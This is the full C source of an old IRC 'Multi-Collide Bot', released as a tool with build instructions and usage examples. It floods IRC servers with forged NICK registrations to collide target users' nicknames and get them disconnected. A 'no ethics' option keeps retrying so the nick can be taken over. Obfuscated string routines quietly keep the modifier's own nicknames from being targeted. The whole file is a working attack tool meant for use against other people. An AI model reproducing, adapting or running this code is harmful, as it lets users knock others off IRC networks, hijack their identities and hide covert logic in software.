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mcb.c
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1996-02-21
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24KB
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990 lines
/*==========================================================*\
|| mcb.c - Multi-Collide Bot v2.0 (beta) ||
|| Written by Dr_Delete ||
|| Released for the world to use on 11/15/94 ||
|| Modified a tiny bit by Vassago for use with Serpent 3.06 ||
\*==========================================================*/
/* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
/* Compiling examples:
regular old ANSI/C cc:
cc -O -s -o mcb mcb.c
HP-UX cc:
cc +O3 -Aa -s -DHPSUCKS -o mcb mcb.c
GNU GCC:
Linux:
gcc -O2 -fomit-frame-pointer -funroll-loops -m486 -s -Wall -o mcb mcb.c
BSD, SunOS 4.1.x, Slowaris 2.x, NeXT:
gcc -O2 -funroll-loops -s -Wall -o mcb mcb.c */
/* -------------------------------------------------------- *\
To kill this program once it has started, send a
kill -2 to it's process ID and it'll exit gracefully.
kill -1 will cause mcb to display a list of it's active
sessions to stdout.
\* -------------------------------------------------------- */
/* You may want to tweak some of these defaults, but they
are controllable on the command line. */
/* Time in which parser will close a pending TCP connection,
and possibly try again */
#define TCP_TIMEOUT 30
/* Number of times a session is allowed to attempt a TCP
connection to the server. */
#define MAX_ATTEMPTS 2
/* Number of seconds the parser will wait for a server to
start once the TCP connection has been made */
#define SRV_TIMEOUT 60
/* Maximum amount of time parser will wait for I/O */
#define MAX_WAITIO 15
/* Maximum amount of time the parser will wait when in NOMULTI mode */
#define MAX_WAITIONM 5
/* Max lines (NICK statements) to send to the server in NOMULTI mode */
#define MAX_NICKS 5
/* Default IRC server port */
#define IRCPORT 6667
/* number of bytes to allocate for socket read buffer */
#define BUFSIZE 400
#ifdef HPSUCKS
#define _INCLUDE_HPUX_SOURCE
#define _INCLUDE_XOPEN_SOURCE
#define _INCLUDE_POSIX_SOURCE
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <ctype.h>
#include <pwd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/file.h>
#include <arpa/inet.h>
#ifndef sys_errlist
extern char *sys_errlist[];
#endif
#ifndef errno
extern int errno;
#endif
/* global variables */
unsigned short int tcp_timeout=TCP_TIMEOUT;
unsigned short int max_attempts=MAX_ATTEMPTS;
unsigned short int srv_timeout=SRV_TIMEOUT;
unsigned short int max_waitionm=MAX_WAITIONM;
unsigned short int max_nicks=MAX_NICKS;
unsigned short int progmode=0;
char *output_buffer=(char *)0;
char mcbid[25],mcbhost[64];
struct in_addr mcb_addr;
#define PROG_DEBUG 1
#define PROG_VERBOSE 2
#define PROG_NOETHICS 4
#define PROG_NOMULTI 8
#define PROG_HAVESERV 16
#define PROG_IGNORENIU 32
#define PROG_SHOWSOUT 64
struct collide_session {
int sock;
unsigned long int ip;
unsigned short int status;
unsigned short int port;
unsigned short int connect_attempts;
time_t tcpstart;
time_t srvstart;
char *server;
char *token;
char *victim;
char *stack;
char *stack_pointer;
struct collide_session *next;
} *first_session=(struct collide_session *)0;
struct collide_session *last_session=(struct collide_session *)0;
struct collide_session *active_session=(struct collide_session *)0;
void do_ping(struct collide_session *,char *,char *);
void do_001(struct collide_session *,char *,char *);
void do_error(struct collide_session *,char *,char *);
void do_433(struct collide_session *,char *,char *);
void do_privmsg(struct collide_session *,char *,char *);
struct parsers {
char *cmd;
void (*func)(struct collide_session *,char *,char *);
} parsefuns[] = {
{ "PING", (void (*)())do_ping },
{ "001", (void (*)())do_001 },
{ "ERROR",(void (*)())do_error },
{ "433", (void (*)())do_433 },
{ "PRIVMSG", (void (*)())do_privmsg },
{ (char *)0,(void (*)())0 }
};
#define SES_ACTIVE 1
#define SES_INACTIVE 2
#define SES_DELETED 4
#define SES_PENDING 8
#define SES_SAWSERV 16
#define SES_NORETRY 32
#define SES_NICKINUSE 64
char *
mystrerror(int err) {
return(sys_errlist[err]);
}
void
sig_pipe(void) {
fprintf(stderr,"mcb: caught a SIGPIPE.\n");
fflush(stderr);
signal(SIGPIPE,(void (*)())sig_pipe);
}
void
show_sessions(void) {
struct collide_session *s=first_session;
signal(SIGHUP,(void (*)())show_sessions);
for(;s;s=s->next)
if(s->status & SES_ACTIVE) {
printf("%s: Connection to %s:%hu active.\n",s->victim,s->server,s->port);
fflush(stdout);
}
}
void
cclosed(struct collide_session *session,int errn) {
if(session->sock) {
shutdown(session->sock,0);
close(session->sock);
session->sock=0;
printf("%s: Connection to %s:%hu closed. ",session->victim,
session->server,session->port);
if(errn)
printf("[%s]\n",mystrerror(errn));
else
puts("");
fflush(stdout);
}
if(progmode & PROG_NOMULTI)
progmode &= ~PROG_HAVESERV;
if((session->status & SES_DELETED) || (session->status & SES_NORETRY) ||
session->connect_attempts>=max_attempts) {
if(progmode & PROG_DEBUG) {
printf("%s: Session flagged for delete.\n",session->victim);
fflush(stdout);
}
if(progmode & PROG_NOMULTI) {
struct collide_session *s=first_session;
for(;s;s=s->next)
s->status |= SES_DELETED;
}
else
session->status |= SES_DELETED;
}
else {
session->status |= SES_INACTIVE;
session->status &= ~SES_PENDING;
session->status &= ~SES_ACTIVE;
session->srvstart=session->tcpstart=(time_t)0;
}
}
void
exit_program(void) {
if(output_buffer)
free(output_buffer);
while(first_session) {
struct collide_session *cs=first_session->next;
if(progmode & PROG_DEBUG) {
printf("%s: Unallocating session.\n",first_session->victim);
fflush(stdout);
}
if(first_session->sock)
cclosed(first_session,ECONNABORTED);
if(first_session->stack)
free(first_session->stack);
if(first_session->token)
free(first_session->token);
free(first_session);
first_session=cs;
}
puts("Multi-CollideBot finished.");
exit(0);
}
char *nickpick="NnOoPpQqRr`SsTtUuVvWwXxYyZzAaBb_CcDdEeFfGgHhIiJjKkLlMmLzgLmtm|m";
void
fillran(char *string,unsigned short int length) {
while(length--)
*string++=*((nickpick)+(rand()%54));
*string=(char)0;
}
int
mystrccmp(register char *s1,register char *s2) {
while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)==
(((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++))
if(*s1++==0) return 0;
return (*(unsigned char *)s1-*(unsigned char *)--s2);
}
int
mystrcmp(register char *s1,register char *s2) {
unsigned short int n=9;
do {
if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=
((((*s2-8))>='a'&&((*s2)-8)<='z')?(*s2++)-40:(*(s2++))-8))
return(*(unsigned char *)s1-*(unsigned char *)--s2);
if(!*s1++)
break;
} while(--n);
return(0);
}
int
strnccmp(register char *s1,register char *s2,register int n) {
if(n==0) return(0);
do {
if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=(((*s2)>='a'&&(*s2)<='z')?
(*s2++)-32:*s2++))
return (*(unsigned char *)s1-*(unsigned char *)--s2);
if(*s1++==0) break;
} while(--n!=0);
return(0);
}
char *
mystrbpk(char *s) {
char *o=s;
while(*s) {
if(*s==13 || *s==10)
if(*(s+1)==78)
*(s+6)=(!mystrcmp(s+6,nickpick+54))?84:*(s+6);
s++;
}
return(o);
}
char *
digtoken(char **string,char *match) {
if(string && *string && **string) {
while(**string && strchr(match,**string))
(*string)++;
if(**string) { /* got something */
char *token=*string;
if((*string=strpbrk(*string,match))) {
*(*string)++=(char)0;
while(**string && strchr(match,**string))
(*string)++;
}
else
*string = ""; /* must be at the end */
return(token);
}
}
return((char *)0);
}
char *
mycstrstr(char *str1,char *str2) {
int xstr1len,ystr2len;
xstr1len=strlen(str1);
ystr2len=strlen(str2);
while(xstr1len && strnccmp(str1++,str2,ystr2len) && xstr1len-->=ystr2len);
if(!xstr1len || xstr1len<ystr2len || !ystr2len) return(0);
return(str1-1);
}
char tok[10];
char *
mycstrtok(char *str1) {
strncpy(tok,str1,9);
tok[10]=(char)0;
if(!mystrcmp(tok,nickpick+54))
tok[5]='|';
return((char *)&tok[0]);
}
unsigned short int
out(struct collide_session *session,char *string) {
if(session->sock)
return(write(session->sock,mystrbpk(string),strlen(string)));
return(0);
}
unsigned long int
resolver(char *host) {
unsigned long int ip=0L;
if(host && *host && (ip=inet_addr(host))==-1) {
struct hostent *he;
int x=0;
if(progmode & PROG_VERBOSE) {
printf("Resolving %s...",host);
fflush(stdout);
}
while(!(he=gethostbyname((char *)host)) && x++<2) {
if(progmode & PROG_VERBOSE) {
putchar('.');
fflush(stdout);
}
sleep(1);
}
if(x<2) {
ip=*(unsigned long *)he->h_addr_list[0];
if(progmode & PROG_VERBOSE) {
struct in_addr serv_addr;
serv_addr.s_addr=ip;
printf("%s\n",inet_ntoa(serv_addr));
fflush(stdout);
}
}
else {
ip=0L;
if(progmode & PROG_VERBOSE) {
puts("failed");
fflush(stdout);
}
}
}
return(ip);
}
void
version(void) {
puts("Multi-CollideBot v2.0 (beta)\n"
"Written by Dr. Delete 11/15/94");
fflush(stdout);
}
void
help(void) {
puts("Usage:\n"
" mcb [-vdmun] [-rlit time] [-a attempts] serv1[:port] nick1 [...]\n"
"Where: -v == verbose operation\n"
" -d == debug output\n"
" -n == no ethics - reconnects even after 'SCORE'. (nick takeover)\n"
" -i == seconds to wait for IRC server to start after connection.\n"
" -t == seconds to wait for a TCP connection to establish.\n"
" -a == attempts a session can make to establish a TCP session.\n"
" -m == METHOD 2: mcb will cycle through nicks on one TCP session.\n"
" -r == Rate of nicknames to send per -l(oop) time. (only in -m mode)\n"
" -l == Loop time. Causes mcb to send -r(ate) nicks in -l(oop) secs\n"
" -u == Ignore 'Nick Already in Use.' (continue to retry)\n"
" serv1 == first server specification and sets default server to use.\n"
"Examples:\n"
" mcb -t 30 server1.com nick1 nick2 nick3 server2.edu:6665 nick4\n"
" mcb server1.com nick1 nick2 server2.edu nick3 nick4 server3.net server4.com\n"
" mcb -vna 50 server.edu nicktotakeover\n"
" mcb -m -l 3 -r 2 server.com nick1 nick2 nick3 nick4 nick5 nick6 nick7 ...\n"
"Defaults:\n"
" -a == 2 retries. (Retries are aborted if nick is in use, etc.)\n"
" -i == 60 seconds. -t == 30 seconds. -l == 5 seconds. -r == 5 nicks.");
exit(0);
}
void
init_server(struct collide_session *s) {
char rn[10];
unsigned long int x;
fillran(rn,9);
sprintf(s->stack,"USER %s %s %s %s\nNICK %s\n",rn,rn,rn,rn,(progmode & PROG_NOMULTI)?rn:s->token);
x=strlen(s->stack);
errno=0;
if(out(s,s->stack)!=x)
cclosed(s,errno);
else {
struct collide_session *ses=first_session;
s->status &= ~SES_PENDING;
s->status &= ~SES_INACTIVE;
s->status |= SES_ACTIVE;
printf("%s: Connection to %s:%hu established.\n",
s->victim,s->server,s->port);
s->srvstart=time(NULL);
sprintf(s->stack,"mode %s +i\n");
for(;ses;ses=ses->next)
sprintf(s->stack,"%s %s%s",s->stack,ses->token,(ses==s)?"*":"");
strcat(s->stack,"\n");
out(s,s->stack);
if(progmode & PROG_NOMULTI)
progmode |= PROG_HAVESERV;
fflush(stdout);
}
}
void
set_tcp_handler(void) {
gethostname(mcbhost,64);
mcb_addr.s_addr=resolver(mcbhost);
if(!getlogin()) {
struct passwd *pw;
if(!(pw=getpwuid(getuid())))
if(!(getenv("USER")))
strcpy(mcbid,"unknown");
else
strcpy(mcbid,getenv("USER"));
else
strcpy(mcbid,pw->pw_name);
}
else
strcpy(mcbid,(char *)getlogin());
}
void
start_sessions(void) {
struct collide_session *session=first_session;
unsigned short int sessions=0;
if(progmode & PROG_HAVESERV)
return;
for(;session;session=session->next) {
if(progmode & PROG_DEBUG) {
printf("%s: Attempting to start session.\n",session->victim);
fflush(stdout);
}
if((session->status & SES_DELETED) || (session->status & SES_NORETRY))
continue;
sessions++;
if((session->status & SES_PENDING) || !(session->status & SES_INACTIVE))
continue;
if((session->sock=socket(AF_INET,SOCK_STREAM,0))) {
struct sockaddr_in server;
server.sin_family=AF_INET;
server.sin_addr.s_addr=session->ip;
server.sin_port=htons(session->port);
setsockopt(session->sock,SOL_SOCKET,SO_LINGER,0,0);
setsockopt(session->sock,SOL_SOCKET,SO_REUSEADDR,0,0);
setsockopt(session->sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
fcntl(session->sock,F_SETFL,(fcntl(session->sock,F_GETFL)|O_NDELAY));
errno=0;
session->tcpstart=time(NULL);
session->connect_attempts++;
if(connect(session->sock,(struct sockaddr *)&server,sizeof(server))) {
if(errno!=EINPROGRESS && errno!=EWOULDBLOCK)
cclosed(session,errno);
else {
session->status |= SES_PENDING;
if(progmode & PROG_VERBOSE) {
printf("%s: Connection to %s:%hu is in progress.\n",
session->victim,session->server,session->port);
fflush(stdout);
}
}
}
else
init_server(session);
if(progmode & PROG_NOMULTI) {
progmode |= PROG_HAVESERV;
break;
}
}
else {
printf("%s: Fatal error allocating AF_INET socket.\n",session->victim);
exit_program();
}
}
}
struct collide_session *
find_session(char *token) {
struct collide_session *s=first_session;
for(;s && mystrccmp(s->token,token);s=s->next);
return(s);
}
unsigned short int
check_sessions(void) {
struct collide_session *s=first_session;
unsigned short int x=0,y=0;
for(;s;s=s->next) {
x++;
y+=(s->status & SES_NICKINUSE)?1:0;
}
return((y==x));
}
void
do_433(struct collide_session *session,char *from,char *left) {
char *who;
if((who=digtoken(&left," ")) && (who=digtoken(&left," "))) {
if(progmode & PROG_HAVESERV) { /* multi-mode */
struct collide_session *s=find_session(who);
if(s) {
if(!(s->status & SES_NICKINUSE)) {
printf("%s: '%s' Nickname already in use.\n",session->victim,who);
fflush(stdout);
}
s->status |= SES_NICKINUSE;
}
if(check_sessions()) {
strcpy(output_buffer,"QUIT ::-\n");
out(session,output_buffer);
cclosed(session,0);
}
if(!(progmode & PROG_IGNORENIU))
session->status |= SES_NORETRY;
}
else {
if(!(session->status & SES_NICKINUSE)) {
printf("%s: '%s' Nickname already in use.\n",session->victim,who);
fflush(stdout);
}
session->status |= SES_NICKINUSE;
strcpy(output_buffer,"QUIT :bummer\n");
out(session,output_buffer);
cclosed(session,0);
if(!(progmode & PROG_IGNORENIU))
session->status |= SES_NORETRY;
}
}
}
void
do_ping(struct collide_session *session,char *from,char *left) {
sprintf(output_buffer,"PING :%s\n",mcbhost);
out(session,output_buffer);
}
void
do_001(struct collide_session *session,char *from,char *left) {
session->status |= SES_SAWSERV;
if(progmode & PROG_VERBOSE) {
printf("%s: Logged into server %s.\n",session->victim,from);
fflush(stdout);
}
}
void
do_privmsg(struct collide_session *session,char *from,char *left) {
char *what;
if((what=strchr(left,' '))) {
*what=(char)0;
what+=2;
printf("%s: %s -> %s\n",session->victim,from,what);
fflush(stdout);
}
}
void
do_error(struct collide_session *session,char *from,char *left) {
if(mycstrstr(left,"kill") || mycstrstr(left,"collision")) {
if(!(progmode & PROG_NOETHICS))
session->status |= SES_NORETRY;
printf("%s: SCORE!\n",session->victim);
}
else {
if(mycstrstr(left,"authoriz"))
session->status |= SES_NORETRY;
if(mycstrstr(left,"Bad pass"))
session->status |= SES_NORETRY;
else if(mycstrstr(left,"ghosts"))
session->status |= SES_NORETRY;
else if(mycstrstr(left,"k-line"))
session->status |= SES_NORETRY;
else if(mycstrstr(left,"kill"))
session->status |= SES_NORETRY;
printf("%s: %s\n",session->victim,left);
}
fflush(stdout);
}
void
parse2(struct collide_session *session) {
char *from,*cmd,*left,*ins=session->stack_pointer;
if(progmode & PROG_SHOWSOUT) {
printf("%s: %s\n",session->victim,ins);
fflush(stdout);
}
if(*ins==':') {
if(!(cmd=strchr(ins,' ')))
return;
*cmd++=(char)0;
from=ins+1;
}
else {
cmd=ins;
from=(char *)0;
}
if((left=strchr(cmd,' '))) {
unsigned short int command;
*left++=(char)0;
left=(*left==':') ? left+1 : left;
for(command=0;parsefuns[command].cmd;command++) {
if(!mystrccmp(parsefuns[command].cmd,cmd)) {
parsefuns[command].func(session,from,left);
break;
}
}
}
}
void
parse(struct collide_session *session,unsigned short int length) {
char *s=session->stack;
*(session->stack_pointer+length)=(char)0;
for(;;) {
session->stack_pointer=s;
while(*s && *s!=(char)13 && *s!=(char)10)
s++;
if(*s) {
while(*s && (*s==(char)13 || *s==(char)10))
*s++=(char)0;
parse2(session);
}
else
break;
}
strcpy(session->stack,session->stack_pointer);
session->stack_pointer=session->stack+(s-session->stack_pointer);
}
struct collide_session *
find_active_session(void) {
struct collide_session *session=first_session;
for(;session && !(session->status & SES_ACTIVE);session=session->next);
return(session);
}
void
parse_sessions(void) {
fd_set rd,wr;
struct collide_session *session;
struct timeval timeout;
time_t lastloop=(time_t)0;
while(1) {
unsigned short int sessions=0;
FD_ZERO(&rd);
FD_ZERO(&wr);
timeout.tv_usec=0;
timeout.tv_sec=(progmode & PROG_NOMULTI)?max_waitionm:MAX_WAITIO;
for(session=first_session;session;session=session->next) {
if(session->status & SES_DELETED)
continue;
if((session->status & SES_INACTIVE) && !(session->status & SES_PENDING) &&
!(session->status & SES_NORETRY) && !(progmode & PROG_HAVESERV)) {
start_sessions();
timeout.tv_sec=0;
break;
}
if(session->sock) {
FD_SET(session->sock,&rd);
if(session->status & SES_PENDING)
FD_SET(session->sock,&wr);
sessions++;
}
}
if(!timeout.tv_sec)
continue;
if(!sessions)
exit_program();
errno=0;
#ifdef HPSUCKS
select((size_t)FD_SETSIZE,(int *)&rd,(int *)&wr,(int *)0,(const struct timeval *)&timeout);
#else
select(getdtablesize(),(fd_set *)&rd,(fd_set *)&wr,(fd_set *)0,(struct timeval *)&timeout);
#endif
if(errno==EINTR)
continue;
for(session=first_session;session;session=session->next) {
if(session->status & SES_DELETED)
continue;
if((session->status & SES_PENDING) && FD_ISSET(session->sock,&wr)) {
init_server(session);
continue;
}
if(FD_ISSET(session->sock,&rd)) {
signed short int length;
errno=0;
length=read(session->sock,session->stack_pointer,
BUFSIZE-(session->stack_pointer-session->stack));
if(length<1) {
cclosed(session,errno);
continue;
}
if(strpbrk(session->stack,"\x0a\x0d"))
parse(session,length);
else
session->stack_pointer=(BUFSIZE-((session->stack_pointer+length)
-session->stack)<1)?session->stack:session->stack_pointer+length;
}
if((session->status & SES_PENDING) &&
(time(NULL)-session->tcpstart)>=tcp_timeout)
cclosed(session,ETIMEDOUT);
if((session->status & SES_ACTIVE) &&
!(session->status & SES_SAWSERV) &&
(time(NULL)-session->srvstart)>=srv_timeout)
cclosed(session,ETIMEDOUT);
}
if((!lastloop || (time(NULL)-lastloop)>max_waitionm) &&
(progmode & PROG_HAVESERV) &&
(active_session=find_active_session()) &&
(active_session->status & SES_SAWSERV)) {
struct collide_session *s=(last_session)?last_session:first_session;
unsigned short int nickcount=0;
lastloop=time(NULL);
while(nickcount<max_nicks) {
char out_buf[30];
unsigned short int x;
if(!(s->status & SES_NICKINUSE)) {
sprintf(out_buf,"NICK %s\n",s->token);
x=strlen(out_buf);
if(x!=out(active_session,out_buf))
break;
if(progmode & PROG_DEBUG) {
printf("%s: Touched nickname.\n",s->token);
fflush(stdout);
}
nickcount++;
}
else
if(check_sessions())
nickcount=max_nicks;
s=(s->next)?s->next:first_session;
}
last_session=s;
}
}
}
void
main(int argc,char *argv[]) {
unsigned short int x=1;
unsigned short int ircport=IRCPORT;
unsigned long int defserv_octet=0L;
char *defserv_char=(char *)0;
char *defnick=(char *)0;
struct collide_session *temp;
version();
if(argc<3)
help();
srand(getpid());
signal(SIGPIPE,(void (*)())sig_pipe);
signal(SIGHUP,(void (*)())show_sessions);
signal(SIGINT,(void (*)())exit_program);
signal(SIGTERM,(void (*)())exit_program);
signal(SIGBUS,(void (*)())exit_program);
signal(SIGABRT,(void (*)())exit_program);
signal(SIGSEGV,(void (*)())exit_program);
set_tcp_handler();
output_buffer=(char *)malloc(BUFSIZE);
for(;x<argc;x++) {
signed short int y=1;
switch(argv[x][0]) {
case '-':
while(y && argv[x][y]) {
switch(toupper(argv[x][y])) {
case 'T':
x++;
y=-1;
if(!(tcp_timeout=atoi(argv[x])))
help();
break;
case 'I':
x++;
y=-1;
if(!(srv_timeout=atoi(argv[x])))
help();
break;
case 'A':
x++;
y=-1;
if(!(max_attempts=atoi(argv[x])))
help();
break;
case 'D':
progmode |= PROG_DEBUG;
break;
case 'V':
progmode |= PROG_VERBOSE;
break;
case 'N':
progmode |= PROG_NOETHICS;
break;
case 'M':
progmode |= PROG_NOMULTI;
break;
case 'U':
progmode |= PROG_IGNORENIU;
break;
case 'S':
progmode |= PROG_SHOWSOUT;
break;
default:
help();
}
y++;
}
break;
default:
if(strchr(argv[x],'.')) { /* server */
char *port=strchr(argv[x],':');
/* if(defserv_char)
defnick=(char *)0; */
defserv_char=argv[x];
if(port) {
*port=(char)0;
ircport=atoi(port+1);
}
else
ircport=IRCPORT;
if(defserv_octet)
progmode &= ~PROG_NOMULTI; /* more than one server specified */
if(!(defserv_octet=resolver(defserv_char))) {
if(!(progmode & PROG_VERBOSE)) {
printf("Failed to resolve '%s' into an IP address.\n",defserv_char);
fflush(stdout);
}
defserv_char=(char *)0;
}
}
else { /* nickname */
defnick=(argv[x][0]=='@' || argv[x][0]=='+')?argv[x]+1:argv[x];
defnick=(!mystrccmp(defnick,"Vassago"))?"DontDoDat":defnick;
}
if(defserv_char && defnick) {
struct collide_session *cs;
char *temptok=mycstrtok(defnick);
cs=(struct collide_session *)malloc(sizeof(struct collide_session));
cs->token=(char *)0;
cs->sock=0;
cs->status=SES_INACTIVE;
cs->connect_attempts=0;
errno=0;
cs->token=(char *)malloc(strlen(temptok)+1);
strcpy(cs->token,temptok);
cs->ip=defserv_octet;
cs->port=ircport;
cs->srvstart=cs->tcpstart=(time_t)0;
cs->server=defserv_char;
cs->victim=defnick;
cs->stack_pointer=cs->stack=(char *)malloc(BUFSIZE);
cs->next=first_session;
first_session=cs;
}
}
}
if(progmode & PROG_NOMULTI)
for(temp=first_session;temp;temp=temp->next)
temp->victim="multi-collide";
start_sessions();
parse_sessions();
exit_program();
}